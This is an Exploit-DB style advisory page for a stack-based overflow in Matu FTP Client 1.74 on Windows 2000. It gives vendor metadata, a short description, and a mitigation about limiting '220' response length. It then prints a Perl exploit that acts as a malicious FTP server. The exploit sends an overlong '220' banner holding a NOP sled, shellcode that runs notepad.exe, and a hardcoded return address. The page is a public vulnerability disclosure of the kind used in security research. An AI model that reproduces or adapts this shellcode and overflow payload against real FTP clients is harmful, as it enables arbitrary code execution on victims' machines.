Matu FTP Client Stack-Based Overflow Vulnerability

vendor:

Matu FTP Client

by:

Kanatoko

7.5

CVSS

HIGH

Stack-Based Overflow

119

CWE

Product Name: Matu FTP Client

Affected Version From: 1.74

Affected Version To: 1.74

Patch Exists: YES

Related CWE: N/A

CPE: a:matu_ftp:matu_ftp:1.74

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 2000 Professional (SP2)

2002

Matu FTP Client Stack-Based Overflow Vulnerability

An issue has been reported which could allow for a malicious ftp server to execute arbitrary code on a Matu FTP client. If,upon user connection, a FTP server '220' response is of excessive length, a stack-based overflow condition could occur. This overflow could overwrite stack variables and be used to execute arbitrary code. However, sending random data could cause the application to crash.

Mitigation:

Ensure that the FTP server is configured to limit the length of the '220' response.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/4572/info

An issue has been reported which could allow for a malicious ftp server to execute arbitrary code on a Matu FTP client. 

If,upon user connection, a FTP server '220' response is of excessive length, a stack-based overflow condition could occur. This overflow could overwrite stack variables and be used to execute arbitrary code. However, sending random data could cause the application to crash.


pwd
#!/usr/local/bin/perl

#------------------------------------------------------------------------
# Matu Ftp Version 1.74 exploit for Windows2000 Professional (SP2)
# ( run under inetd )
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
#------------------------------------------------------------------------
$|=1;

        #egg written by UNYUN (http://www.shadowpenguin.org/)
$egg  = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

        #egg_address = 0x0012F43C
$buf = "\x90" x 217;
$buf .= $egg;
$buf .= "A" x 2;
$buf .= "\x3C\xF4\x12\x00";
$buf .= "B" x 80;

print "220 $buf\r\n";